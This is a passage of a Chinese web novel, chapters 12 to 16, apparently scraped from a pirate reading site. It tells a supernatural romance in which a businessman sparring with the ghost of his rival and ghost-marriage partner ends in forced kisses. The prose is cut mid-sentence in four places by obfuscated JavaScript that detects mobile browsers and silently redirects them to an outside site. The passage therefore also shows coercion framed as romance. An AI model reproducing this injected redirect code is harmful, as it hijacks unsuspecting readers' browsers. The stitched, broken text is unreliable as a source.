钟秦淮托着下巴,望着对面的柳相宜,仿佛在看什么稀奇的东西。
柳相宜感觉到了那道落在自己脸上的强烈视线,他没抬头,仍旧低头剥虾。
与此同时,语带调侃道:
“钟总没看过别人剥虾吗?”
钟秦淮垂眸望着柳相宜那双手,纤长白皙,一看就是养尊处优,从来不干家务的一双手。
如今干脆利落地在剥虾,一个接一个,剥得干净又完整。
“柳总不觉得这很浪费时间吗?”
“当然。”
对他这种五分钟解决午餐的人来说,剥虾这种事纯粹浪费时间,他宁愿不吃。
柳相宜剥好了满满一碗之后,把那碗虾仁推到钟秦淮面前,并笑答道:
“但谁叫我暗恋钟总呢?”
钟秦淮:“……”
意识到这满满一碗虾,竟然是剥给自己的,钟秦淮定定地望着柳相宜。
12.第 12 章
自觉又赢了一回,柳相宜满意了,正准备继续剥虾,见钟秦淮还在盯着自己,那眼神,盯得柳相宜头皮发麻。
玩笑开过火了?
柳相宜轻咳一声,正准备用激将法说点什么,钟秦淮又突然吃了起来。
而且,还是那种安静的吃法。
柳相宜等了等,没等来往常那般的回怼反而不习惯了,他疑惑地挑眉道:
“钟总是不是忘记说点什么了?”
“说什么?”钟秦淮仍旧低着头吃。
柳相宜微笑揶揄道:
“说柳总不要误会,我吃这个完全是基于不浪费粮食的原则,不带一点私人情感之类的,这不是钟总每次必走的流程吗?”
钟秦淮夹虾仁的手微微一顿,接着云淡风轻地回道:
“这还需要我每次都强调吗?”
钟秦淮抬头,眸子里又是惯常的戏谑笑意:“柳总不会以为区区一碗虾仁我就接受你了吧?”
柳相宜:“……”
这太惊悚了。
他可不敢想。
吃完饭两人就回去了。夜色下,柳相宜正驱车回雾山,路过江边时,突然“咻咻咻”的声音接连响起。
江对岸在放烟花。
柳相宜本人对这些不怎么感兴趣,但他余光瞥到钟秦淮降下车窗在看,他就将车子缓缓停在一旁。
钟秦淮察觉到车子停了,他转头,有些意外地看着柳相宜:“柳总对所有人都这么善解人意的吗?”
就因为他看了一眼烟花,就把车子停下来。
柳相宜微笑道:
“只对受伤的病人才这样。”
钟秦淮眸子闪了闪。
“咻咻咻”的声音再次响起,烟花在夜空中炸开,声音很大,眼下说什么也听不见了。
柳相宜干脆也转过头去看。
不知道谁放的,烟花漫天。
他看了会儿,忽然感觉一道强烈的视线落在自己脸上。
他余光瞥了一眼,也不知道什么时候,钟秦淮居然没继续看烟花了,反而转头在盯着自己。
烟花在夜空炸开,又化作漫天流星似地落下来,仿佛落进了柳相宜的眼睛里,那双标志的柳叶眼微微弯起,便如被晚风吹拂的柳叶一般摇曳。
钟秦淮怔怔盯着。
心也跟着摇曳了起来,沉静的心湖仿佛被此时的夜风吹皱,泛起了微微的涟漪。
忽然心痒难耐了起来。
来不及细究那是什么。
他便倾身吻了过去。
鲁莽而急切,只有在触到那片温热柔软的唇之后,内心那股突如其来的渴求和难耐才稍稍缓解了似的。
然后被柳相宜一把推开。
柳相宜微微一笑,咬牙切齿:
“钟总你脑子也病了吗?”
钟秦淮注视着他,只觉得那双柳叶眼微微一弯,便弯出一条漂亮的弧度,就算隐隐含着怒意,那个弧度也像是一个弯曲的小勾子似的。
勾得人情不自禁地靠近。
想要看得更清楚些。
钟秦淮没有多想,顺着自己的心意越发凑近了。
柳相宜:“?”
不知道这小子怎么突然朝自己发难了,还凑得这么近,柳相宜有些不习惯跟人距离太近,于是整个上半身后退,企图拉开一些距离。
谁知他往后退,钟秦淮又往前逼近,直到后背抵到冰凉的车窗玻璃,柳相宜退无可退,他伸手抓住钟秦淮一侧的肩膀,阻止他继续靠近。
“钟秦淮。”
这还是柳相宜第一次连名带姓地叫他,带着十足的警告意味,然而钟秦淮充耳不闻似的。
仍在凝视着他。
那双黑亮的眸子,在光线昏暗的车子里,看得柳相宜眉心一跳。
不等他反应过来,钟秦淮又靠过来了,这回离他更近了,近到呼吸交融,两人的唇就差只要钟秦淮一低头他就能贴上了!
柳相宜忍无可忍,正要开口时,钟秦淮就蓦地低下头来了!
柳相宜:“!”
好凉!
柳相宜的唇被冰了一下,下意识想推开他,但钟秦淮却意外得强硬,将他按在车窗玻璃上近乎强吻,还想试图像上次在书房那样,把舌尖探进去。
意识到这小子竟然是来真的,柳相宜不再姑息了,他深吸一口气,猛地一推,钟秦淮措不及防,终于被他给推开一些距离了。
但仍旧是手臂撑在车窗玻璃上,将柳相宜困在车窗、座椅和他身体的三角,像是一个无法逃脱的牢笼。
柳相宜眸子微沉,正要发作,就听见钟秦淮凉凉道:
“怎么,柳总不敢吗?”
柳相宜:“!”
从小到大养成的胜负欲又瞬间被点燃,但很快,柳相宜又冷静下来了,他直觉到这小子今晚不对劲,跟着了魔似的。
他没有急着像往常那样开始较量,而是反问道:
“钟总不觉得这样很不礼貌吗?”
钟秦淮幽幽道:“柳总是忘了自己昨晚说过的话吗?昨晚那场较量我们还没分出胜负来。”
柳相宜:“!”
脑子里迅速闪过昨晚漆黑的书房里,那场混乱的较量。
钟秦淮又继续悠悠道:
“怎么,柳总还没休息够吗?还是,柳总怕了,不敢再继续比了?”
柳相宜:“……”
“要是柳总不敢继续的话,那在胆量这件事上,我们是不是可以分出胜负来了?”
很好!
这小子是懂得怎么惹他生气的。
刚才那股微妙的、古怪的氛围消失不见了,现在又回到了柳相宜熟悉的互怼的气氛中。
“钟总,话不要说太早,小心被打脸!”
柳相宜哼笑一声。
两人视线交汇,如同较量即将开始的信号。
这回的较量,是钟秦淮更主动地低下头来了,两人的唇刚贴在一起,他就迫不及待地钻了进去。
像是经过昨晚书房的那场较量,尝到了甜头,食髓知味似的,不再满足于双唇贴着,而是迅速钻进去,卷住柳相宜的舌尖,一点点吮吸了起来。
动作也没有之前那么毫无章
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400048|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法和生疏了,显得熟练了不少。
柳相宜:“!”
他下意识想推拒,但感受到了钟秦淮唇缝里丝丝缕缕飘出来的阴气,他又犹豫了。
既能赢他。
还能吸他阴气。
反正他不亏。
柳相宜恶狠狠地吮了回去。
湿热、滑腻的两条舌尖顿时又互相较劲似的,一个比一个缠得紧,一个比一个吃得深。
但不可否认,这种较量的游戏依然能产生快感,并且因为两人谁也不肯示弱,亲得越来越深,越来越用力,肾上腺飙升,源源不断的快感让人头皮发麻。
“咚”地一声,柳相宜又被重新按在了车窗玻璃上,微微仰着头与钟秦淮接吻。
与其说是接吻,不如说是较量。
两人的吻一点也不温柔,也不含情脉脉,而是暴烈的、恶狠狠的、像是荒原上燃起的一把火,燃得一点也不克制,而在放肆地、野蛮地燃烧。
江畔没有路灯,车子里没有开灯,黑漆漆的车子里,黏哒哒的湿吻声、缠吮舌尖发出来的湿漉漉的声响、以及紊乱的呼吸声交织在一起,在狭小的车子里回荡。
快要呼吸不过来了!
柳相宜试图推开他,反而被钟秦淮攥住了手,桎梏在了车窗玻璃上。
车窗外的烟花还在不断燃起,又咻咻咻地落下来,投射进车子里,车窗玻璃上撑着的一只手,修长苍白。
五指伸进柳相宜那只的指缝里,随后紧握住,十指瞬间缠绵地交握在一起,柳相宜的那只手就这样,被紧紧按在了车窗玻璃上,更是无法动弹了。
随着亲吻的深入,柳相宜那只手每每想要挣脱出来,都被钟秦淮的那只手牢牢制住,让他无法挣脱。
两只手也在较量似的,同样都是冷白皮的手背上,幽青的血管都若隐若现地浮现出来了,直到最后被钟秦淮用力攥住紧扣在车窗玻璃上。
夜空中的烟花还在继续绽放,咻咻咻地升上天,又砰砰砰地绽放,紧接着又哗啦啦地流星雨一般落下来。
坠落进江里的时候,光亮一闪而过,斜射进车子里,然而两人都无暇欣赏,仍在疯狂地较量着。
直到吻得近乎窒息,柳相宜这才试图撤出来,但仍旧被钟秦淮缠卷着不肯放。
柳相宜咬上了钟秦淮的唇,咬出血了,一丝鲜血味儿在两人唇舌间弥漫,钟秦淮微微蹙眉的瞬间,柳相宜猛地推开了他,深深地喘着。
钟秦淮也是,仍旧撑在车窗玻璃上,和他靠得很近,鼻尖能蹭到鼻尖的那种,也在沉沉地呼吸着。
把钟秦淮唇上咬出血,柳相宜还不解气,他拍拍钟秦淮的脸,眸子微眯,带着一丝警告:
“钟总,以后亲之前打声招呼能做到吧?”
钟秦淮没说话,那双黑漆漆的眸子盯着柳相宜近在咫尺的唇。
水润润的,泛着光泽,经过刚才的一番亲吻,已经被啃咬亲吮得红透了,像一颗熟烂的果子,散发着糜烂馥郁的香气。
唇珠上还沾着一丝他的血。
钟秦淮呼吸骤然一乱。
更想亲了。
13.第 13 章
此时烟花已经燃尽,没有烟花偶尔的骤亮,车子里又重新陷入一片漆黑,唯有钟秦淮那双眸子,黑沉沉的。
却又异常得灼亮。
柳相宜看不出里边藏着的情绪,但那定定望着自己的视线,如同深潭里弥漫起了一层薄薄的凉雾,丝丝缕缕地飘过来,将自己整个身体包裹住。
明明眼下没有直接接触,但柳相宜却产生了一种被那道视线牢牢锁住,无法逃脱的诡异感。
他隐隐约约感觉这小子情况不对,不知怎么了,今晚魔怔了似的。
钟秦淮不说话,他也跟着沉默。
生怕说了什么刺激到这小子。
两人一时都没出声,车子里的气氛陡然微妙了起来。
直到被钟秦淮那道视线盯得头皮发麻,柳相宜这才轻咳一声,不自在地直起身,扭头准备下车。
然而车门推了几下。
竟然开不了。
柳相宜:“?”
捣鼓了一阵,前后左右四个车门都开不了,真是奇了怪了!
柳相宜又摸出手机想打电话,手机也突然开不了机了!
柳相宜:“??”
被困在车子里出不去,这种诡异的事情不用想也知道是钟秦淮做的。
柳相宜转头,那双柳叶眼隐隐含着怒意:“钟秦淮你这是什么意思?”
钟秦淮没说话,缓缓抬起一只手。
在光线黯淡的车子里,那只手苍白得像是被月光笼罩了似的,白得发光。
不仅白,还修长有力。
刚才柳相宜就领教过了,被这只手紧紧攥住按在车窗玻璃上,怎么也挣脱不了,明明五指纤长,精致得跟玉雕似的,却又仿佛蕴藏着无尽的力量感。
如果放在往常,柳相宜是很乐意近距离欣赏这么一只漂亮的手的。
但眼下,这只手竟然抬起来,伸向他,沿着他的唇角一点点地抚过去。
柳相宜原本还不知道这小子在发什么神经,正巧他现在这个位置,可以用余光瞥到后视镜。
从后视镜里,他看到自己唇珠上沾着的血丝,正在被这小子一点点地沿着唇线抹开,似乎要涂满整张唇似的。
柳相宜:“?”
太变态了!
柳相宜沉声道:“钟……”
刚开口,话还没说完,刚才还在自己唇上摩挲游走的指尖就伸进去了。
柳相宜:“!”
指尖也是凉的,像浸在深潭里的凉玉似的,伸进他嘴里,还企图逗弄着他里边的舌尖。
这小子!
柳相宜深吸一口气,立刻毫不客气地狠狠咬了一下。
谁知钟秦淮眉头都不皱一下的。
只在看见里边若隐若现的那截嫣红的舌尖时,他像是回忆起了什么,呼吸凌乱了一瞬。
接着,指尖抽了出来。
人凑过去了,离柳相宜很近,呼吸微微不稳,那双眼睛灼灼地盯着他:
“继续吗?”
柳相宜:“?”
钟秦淮仍旧盯着柳相宜的唇。
此刻沾满了他的血,猩红妖冶,像伊甸园里的毒红果,散发着蛊惑人心的气息。
他直直盯着,忍不住似的,又凑近了一些,这回近到呼吸交融了。
钟秦淮挑了一下眉:
“不是柳总刚才说的吗?下次亲的时候要提前打招呼。”
说完,他声音又微微喘了一些,带着某种压抑的渴求和难耐:
“招呼打完了,可以继续了吗?”
柳相宜:“!”
他当然想尽早把阴气吸够,但不是在这种心慌慌又古怪的氛围里。
柳相宜断然拒绝:
“钟总,今天的较量已经结束了。”
钟秦淮那双眼睛仍旧直勾勾地盯着柳相宜那双沾血的、红艳的唇。
“可我还想继续。”
他说话的语气漫不经心,但那双眸子里透露出来的执拗实在令人心惊。
像是一头原本懵懂的怪兽,突然开荤了,第一次品尝到了鲜血的滋味,开始一发不可收拾了,如果再次尝不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407349|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到,就会把猎物一口咬死似的。
虽然柳相宜很不想承认,但那双眼睛里边的欲太明显了,压根就毫不掩饰,柳相宜暗暗倒吸一口气。
事到如今,只能怪自己自作自受,非得和这小子以较量的名头来吸阴气。
现在好了,这位一向高冷,还一度被他的追求者们私底下猜测是不是阳痿的钟总,现在尝到了情欲的滋味,开始食髓知味了。
柳相宜能怎么办呢?
他现在被困在车子里。
打又打不过。
只能对这只鬼咬牙切齿地微笑道:
“要是您老人家较量到满意了,是不是就可以放我出去了?”
钟秦淮嘴角弯起,似是在笑,脸上一副满意的、让人恨得牙痒痒的笑意。
仿佛笃定了柳相宜没办法,只能妥协似的。柳相宜心头火气,扑过去,狠狠咬在了钟秦淮的唇上。
被咬了,钟秦淮眉毛也没皱一下,反而脸上呈现出一种诡异的愉悦感。
是双唇终于又贴在一起的满足。
他熟练地钻进去,吮吸住了柳相宜的舌尖,舌尖交缠在一起,颤栗感也源源不断地滋生出来,是钟秦淮无法抗拒的、令他心神荡漾的快感。
念书的时候他曾经见过一对小情侣在学校小树林里偷吻,那时候他瞥了一眼就目不斜视地路过了。
唾液交换吗?好脏。
也曾被大胆的追求者主动献吻,他更是避之不及,抬脚就把人踹飞了。
为什么现在却一亲再亲?
只觉得不够。
还想要更多。
吻得柳相宜从副驾驶位置上,近乎逃一般,辗转逃到了车后座,然而后脖颈仍被一只修长用力的大手牢牢扣住。
无处可逃了,只能仰靠在车后座,被迫接受那个漫长的、冰凉的深吻。
那双柳叶眼,眼尾都被吻红了。
吻到钟秦淮深深地叹息。
为什么之前他会觉得脏呢?
原来吻是甜的。
甜疯了!
14.第 14 章
夜色深深,几缕月光透过窗户斜洒进浴室,柳相宜站在镜子前,镜子里清晰地映出了自己的惨状。
唇角被咬破,唇珠微肿,一看就是被蹂躏狠了,整张唇红艳得没眼看。
那小子真是疯了!
柳相宜眸子沉沉的。
余光瞥到脖子上挂着的那块玉佩,他拎起来端详,这块柳叶形状的玉佩,露出的白色比起上一次又多了很多。
他深深吸了一口气。
把那块玉佩重新塞进睡衣里,贴着皮肤藏好,又把卧室的门反锁。
虽然不一定有用。
但今晚他决不会回那棺材里睡了!
春末的晚上还有点冷,柳相宜窝进被子里,跟蚕宝宝一样把被子卷好,闭着眼睛开始强迫自己入睡。
但他心里郁结,再加上极阳体质,一时半会儿难以入睡,就在这时,他听见床垫微微凹陷的细微声响。与此同时,一股微凉也从旁边飘了过来。
柳相宜蹭地一声坐起身:
“钟秦淮,你跑我这做什么?”
比起柳相宜的气急败坏,钟秦淮侧卧在柳相宜旁边,反倒是一副岁月静好,无事发生的样子。
声音悠悠的,很是理直气壮:“柳总,都冥婚了睡一起很正常吧?”
柳相宜:“……”
钟秦淮又缓缓睁开眼,望着柳相宜:“再说了,每天睡一起不是柳总自己提出来的吗?”
之前为了吸阴气是找过这种借口。
柳相宜更郁闷了。
又蹭地一声躺下,转身,闭眼。又觉得不甘心,他再次转身,冷声问道:
“你今晚发什么疯?”
钟秦淮眨了眨眼,眉目间浮起一丝疑惑,还带着点无辜的意味:
“怎么,柳总只允许自己决定较量什么时候开始,又什么时候结束,我就不可以吗?”
柳相宜:“……”
到现在他才后知后觉自己玩大了,惹谁不好,偏偏惹上这小子!
柳相宜正要翻身回去,又见钟秦淮伸手过来了,他立刻抬手阻挡住:
“你要是还敢继续我就……”
柳相宜警惕地盯着他,幸好钟秦淮倒不像是生气的样子,他神色自若地把手收回去了。
视线却一直落在柳相宜的唇上。
那抹薄艳的唇,是漆黑的夜色里唯一吸引人的颜色,红得很明显,像颗被咬出汁水的红果子,散发着靡艳的气息。
钟秦淮本想伸手过去,用鬼气将他唇上咬破的口子和结痂恢复的,但手伸到一半,不等柳相宜阻拦,他自己就已经反悔了。
那是他咬出来的。
他想留在柳相宜的唇上。
来不及深究自己这个突然转变的念头,钟秦淮悠悠接话道:
“就怎样?”
柳相宜:“……”
他真是怕了。
经过刚才车子里那通强吻后,他现在对钟秦淮终于生出了一丝惧意。
这小子生前就古怪,死了更是,现在还是一只能随便捏死他的鬼。
柳相宜还真拿他没办法。
只能一怒之下怒了一下。
最后无能狂怒。
第二天晚上,柳相宜接到张若澜的邀请。前段时间,张若澜的那个科技公司卖给柳相宜了,为了庆祝这项收购案的顺利成功,举办了一个庆功晚宴。
柳相宜直接从公司去的,刚一进去,张若澜就走过来了,扫过柳相宜的唇,他又意味深长地笑了:
“看不出来啊,我还以为柳总清心寡欲呢,原来喜欢那种性子烈的啊。”
柳相宜:“……”
知道张若澜误会了什么,但他也不打算解释了,只微微一笑。
这时,张若澜又叹息了一声:
“唉,想当年我还打算把我的初吻送给钟秦淮来着,都扑过去准备强吻了,结果衣服都没摸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412059|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到就被人踹飞了……”
张若澜至今还疑惑不解:
“没道理送上门来的不要啊,我男神高冷成这样,我都怀疑他是不是阳痿来着……”
柳相宜微笑道:
“不用怀疑,他就是。”
张若澜:“!!!”
虽然缺德,但谁叫这小子昨晚非要强吻他呢?他稍微造个谣,给自己出口恶气不过分吧?
张若澜不敢置信,又回想起高中那三年,男男女女,帅气的,清纯的,妖艳的,啥样的追求者都有,但钟秦淮每次看他们,眼神都冷冷的。
跟看地上一株草、一块石头一样,眼里波澜不惊,不带一丝情感。
所以他们这才猜测钟秦淮是不是阳痿,不然怎么能这么心如止水呢?
张若澜倒吸一口寒气:
“真……真的啊?”
柳相宜神秘一笑。
这时,一个宾客过来了,打断了他们的谈话,宾客朝柳相宜伸出手:
“柳总……”
柳相宜正准备回握,那位宾客伸出的手突然抖了一下,然后不听使唤地自己揣回了自己的兜里。
宾客一脸茫然:“?”
柳相宜:“?”
不等柳相宜多想,又有几个宾客来了,然而,接下去的几个宾客也都是如此,想跟他握手,手刚一伸出去,就跟抽筋了似的直抖,跟得了帕金森一样。
一整晚都是如此。
柳相宜意识到不对劲,他微笑着一路穿过宴会大厅,走进里边一个休息室,门一关上,刚转身,就看到钟秦淮了。
他好整以暇地坐在沙发上,手上还端着一杯红酒,似乎早就知道柳相宜会过来找他似的。
柳相宜走过去,居高临下地望着他:“钟秦淮,你又发什么疯?”
钟秦淮晃了晃手上的那杯红酒:
“柳总大概不知道,男人一旦阳痿,那可不得发疯?”
15.第 15 章
谣言刚造完就被正主知道了。
柳相宜心虚了一秒,又马上理不直气也壮地回怼道:
“反正你现在死了,人也变成鬼了,阳不阳痿的也不重要了吧?”
钟秦淮望着柳相宜,眸子里划过一抹意味深长的笑意:“柳总突然造谣我阳痿,是在暗示我什么吗?”
柳相宜:“?”
钟秦淮晃了晃手中那杯红酒,若有所思了几秒,像是突然想通了什么,他嘴角忽地弯起一丝弧度:
“说起来,虽然柳总和我冥婚了,但有些冥婚程序好像还没走完,比如新婚夜洞房之类的……”
柳相宜:“??”
“毕竟柳总这么暗恋我,结婚了却一直有名无实所以心生怨气从而造谣我阳痿也正常……”
短短一分钟时间不到,钟秦淮像是已经脑补出了一条完整的逻辑链,以此来分析柳相宜造谣他阳痿的原因,并且,最后还颇有礼貌地询问柳相宜:
“所以柳总希望什么时候把这个流程补上好呢?”
柳相宜:“……”
自己挖的坑,自己含泪也要填掉。
他轻咳一声:“这个倒没必要了。”
想赶紧把这个危险的话题转移,谁知钟秦淮却立马接话了:
“怎么会没必要呢?不然让柳总一直误会我阳痿多不好?”
钟秦淮说着,仰头将手中的红酒一饮而尽,随即放在了旁边的茶几上。
之后起身朝柳相宜走去。
今日为了参加宴会,柳相宜穿了一件黑色的丝绸衬衣,衬衣领口的两粒扣子解开,衬得脖子的线条流畅又漂亮。
尤其那双柳叶眼微微弯着,总是含着一丝笑意,看谁都带几分温柔多情。
因此刚一进宴会厅,就吸引了很多宾客前来攀谈结交,柳氏家族继承人的身份是一方面,这副耀眼的容貌,则更是任谁见了都忍不住想靠近。
钟秦淮走到他面前,抬手刚摸到柳相宜的领口处,就被柳相宜攥住了。
他眸子微眯。
这小子不会打算就在这洞房吧?虽然听起来离谱但钟秦淮做事一向疯。
大概是柳相宜眼里的震惊和恐慌太过明显,钟秦淮只看了一眼,便看穿了他在想什么似的,轻笑道:
“柳总倒也不必这么惊慌,新婚夜这么重要的流程,怎么可能随随便便地在陌生地方举行呢?”
柳相宜:“……”
不知道是该松一口气还是该悬着一颗提心吊胆的心,总之,意识到目前没有危险,他这才把手放下。
然后,就看到钟秦淮的手一粒一粒地,将他领口处的扣子重新扣好。
将那片敞着的瓷白皮肤和若隐若现的精致锁骨藏起来了之后,钟秦淮的手这才离开,后退一步,似笑非笑道:
“柳总,衣服不好好穿,是很容易被人脱下来的。”
柳相宜:“……”
这小子管得还挺宽。
但他一向不喜欢被钟秦淮压一头,抬手就要解开扣子,手指动来动去,扣子就跟用了一整瓶超强胶粘水似的,怎么也解不开。
柳相宜:“……”
麻了。
这小子当鬼后真是越来越放肆了!
既然解不开,那就算了,柳相宜对这点小事倒也不在意,他更在意的是钟秦淮说的那个什么新婚夜。
从休息室出来后,他就一直在琢磨这个,再怎么说,那小子跟他可是死对头,应该不会想来真的吧?说不定跟往常一样只是口嗨而已。
但又想到昨晚车子里的那通强吻,柳相宜又觉得不一定。
就在柳相宜思索时,张若澜又走过来了,他眼尖,一眼就看出柳相宜的变化了,他眼睛落在柳相宜扣紧的那两粒扣子上,暧昧地笑了起来:
“连这么一点点也不肯漏给咱们看,柳总,看来您那位不仅性子烈,心眼还小。”
柳相宜知道张若澜又误会了,但他吃了刚才造谣的亏,这回只能微笑道:
“张总说错了,此人心胸宽广善解人意还通情达理,知道我参加宴会是来商务社交的,绝不会故意给我添乱……”
说完,他就听见耳边响起一道轻笑声,带着微微的凉意,像潮湿的雾气,丝丝缕缕的,瞬间黏在他的耳朵上。
耳尖沾上一层薄薄的凉意。
柳相宜忍不住摸了一下。
不是错觉。
是真的有点凉。
他环顾四周,没看到钟秦淮的影子,但他能肯定这小子就在附近。
就在这时,张若澜神秘兮兮地笑道:“柳总,宴会大厅没什么好玩的,我带你去另一个地方看看?”
柳相宜本就被钟秦淮那个新婚夜搅得无心社交了,但无奈柳氏继承人的名头太响,整个宴会厅的人都想要排队跟他握手似的,但偏偏这手还握不了。
柳相宜正想寻个清净地方躲一躲络绎不绝的宾客,于是跟着他离开了。
两人穿过长长的走廊,走廊尽头的门一推开,里边竟是一个酒吧。
灯光幽暗,但能看得出里边全是俊男美女在人群里穿梭。
张若澜将柳相宜引到卡座上坐下,又招招手,几个帅哥美女便朝这边走过来了,张若澜指着那几个帅哥美女给柳相宜介绍:
“柳总,这都是最近网上爆火的明星,颜值又高还嘴甜,跟他们聊天保证情绪价值拉满!”
又指着柳相宜对那五个明星说:
“这可是柳总,柳城的那个柳,咱们柳城那个地标性建筑柳氏集团就是他家的,平时可不来酒吧的,今天好不容易来了,你们可得给我好好招待……”
没想到张若澜带自己来的是这种吵闹的地方,但也总比留在宴会厅看着那帮宾客一个一个在自己面前表演帕金森手抖好。
柳相宜即便不喜欢这种群魔乱舞的地方,但面对外人,他一向表现得既有风度又有涵养,对张若澜微笑回应:
“夸张了啊。”
酒吧幽暗的光斜洒在柳相宜身上,眉目间透着被富养出来的矜贵之气,笑容是那种浅淡的,但又不让人觉得高高在上,反而令人如沐春风。
那五个大明星的眼睛刷地一下全都亮起来了,立刻主动走过去,近乎争抢着坐在柳相宜周围。
左边坐两个女的。
右边坐两个男的。
还有一个动作慢了一步,她不甘心,走到柳相宜面前,冲他娇笑道:
“柳总,我坐这里不介意吧?”
柳相宜:“?”
不等柳相宜回答,女明星径自就要往柳相宜的大腿上坐下。
柳相宜:“!”
眼看要坐下去了,就在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416477|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这时,女明星怀里抱着的那只雪白小猫突然狂性大发,伸出小爪子一挠,挠在了女明星的脸上。
女明星惊叫一声,连忙站了起来。
她一起身,那只小猫咪趁机一跃,跃进了柳相宜怀里。
“元宝你怎么了?”
女明星伸手要去抱它,谁知小猫咪走位灵活,一边躲避女明星的双手,一边跳到坐柳相宜左边的两个女明星身上,举起小爪子挠她们,那两个女明星尖叫一声互相抱着跳了起来。
见他们远离了卡座,小猫咪又扭过头来,朝着坐柳相宜右边的那两个男明星扑过去,那两个男明星大惊,也赶紧从卡座上惊得起来四散躲避。
在这期间,女明星试图想要把它抓回自己怀里,谁知猫咪上蹿下跳的,十分凶狠,谁靠近它它就咬谁。
还绕在柳相宜的周围转圈圈。
女明星见状,快要急哭了:“元宝怎么突然发狂了?它一向很乖的。”
听到女明星这么一说,柳相宜忽然有一个不妙的猜想:该不会是那只鬼附身在这小猫咪上了吧?
为了验证自己的猜想,柳相宜伸手一捞,把在自己身边转圈圈的小猫咪捞进了自己的怀里。
女明星见状,更是惊得眼睛瞪圆:“柳总小心……”
这只猫突然发狂了,要是自己带来的猫挠伤了这位传说中的柳总,她可担不起。
就在女明星心提到嗓子眼的时候,突然发现刚才还狂性大发的小猫咪,此时却昂着小脑袋,窝在柳相宜怀里。
还把爪子搭在柳相宜的胸膛上。
但黄澄澄的、竖起来的瞳仁滴溜溜地转着,警惕地盯着四周的人,还朝他们发出“喵”地一声奶凶奶凶的叫声,像是在警告他们别靠近。
明星们纷纷表示:真是见鬼了!
柳相宜这下确定了,这只猫就是被那只鬼附身了!
这只鬼附身在小猫身上,不仅打翻了一排的酒柜,还抓伤了五个明星,把好好的酒吧搅得人全跑了!
而罪魁祸首,还窝在他怀里,昂起小脑袋,猫尾巴愉悦地一摇一摆的。
柳相宜:“……”
不让别人跟他握手。
莫名其妙地抓伤了五个大明星。
连他领口的扣子也要管。
他实在搞不懂钟秦淮今晚发什么疯,难道就因为他那句造谣?
总之,宴会是待不下去了,跟张若澜告辞后,柳相宜便离开了。
午夜时分,一辆黄色宾利行驶在柏油路上,一团黑雾安静地在旁边的副驾驶位上方翻涌,还从那团黑雾中伸出一双手,咔嚓一声给自己扣上了安全带。
柳相宜听见声音,看也没看就知道是谁,挑眉道:
“我说钟总,造谣你阳痿是我不对,我跟你道歉,但你今晚也疯够了,咱们就算扯平了吧?明天能恢复正常吗钟总?”
下一秒,黑雾散尽,钟秦淮便坐在了副驾驶位置上,他悠悠道:
“柳总造谣我阳痿对我造成了很大的心理创伤,一句道歉就行了吗?”
柳相宜:“……所以呢?”
“当然是要证明给柳总看啊。正好冥婚的流程还没走完,不如就今晚?”
说到这,钟秦淮嘴角缓缓勾起,露出一个熟悉的、挑衅的微笑来:
“还是柳总不敢?”
16.第 16 章
果然,从小时候那根棒棒糖开始的“胆小鬼”游戏,现在终于较量到这种离谱的事情上来了吗?
柳相宜决定洗个澡冷静冷静。
洗完澡之后从浴室里出来,就看到钟秦淮立在窗边,柳相宜脚步一顿:
这小子来他的卧室现在是越来越熟门熟路了!
他没管,继续用毛巾擦着头发。
听见柳相宜从浴室里走出来的脚步声,钟秦淮转过身来,倚在窗前,指尖懒散地搭在窗户上,有一搭没一搭地敲着,声音散漫地开腔:
“所以柳总考虑好了吗?”
柳相宜擦完头发了,把毛巾搭在旁边的椅子上,走过去对钟秦淮调笑道:
“虽然我暗恋钟总,但谁叫钟总不暗恋我呢?所以……”
他故作幽怨地叹了一口气:
“在钟总没喜欢上我的前提下,我是不会跟钟总走这个流程的。”
这是柳相宜在洗澡的时候想出来的完美借口,毕竟他笃定钟秦淮是不可能喜欢上他的,退一万步来说,就算真那么荒谬地喜欢上了,以这小子嘴硬的程度,也绝不会承认的。
柳相宜眸子里闪过一丝狡黠的光,微微一笑,笑里带着十足的笃定:
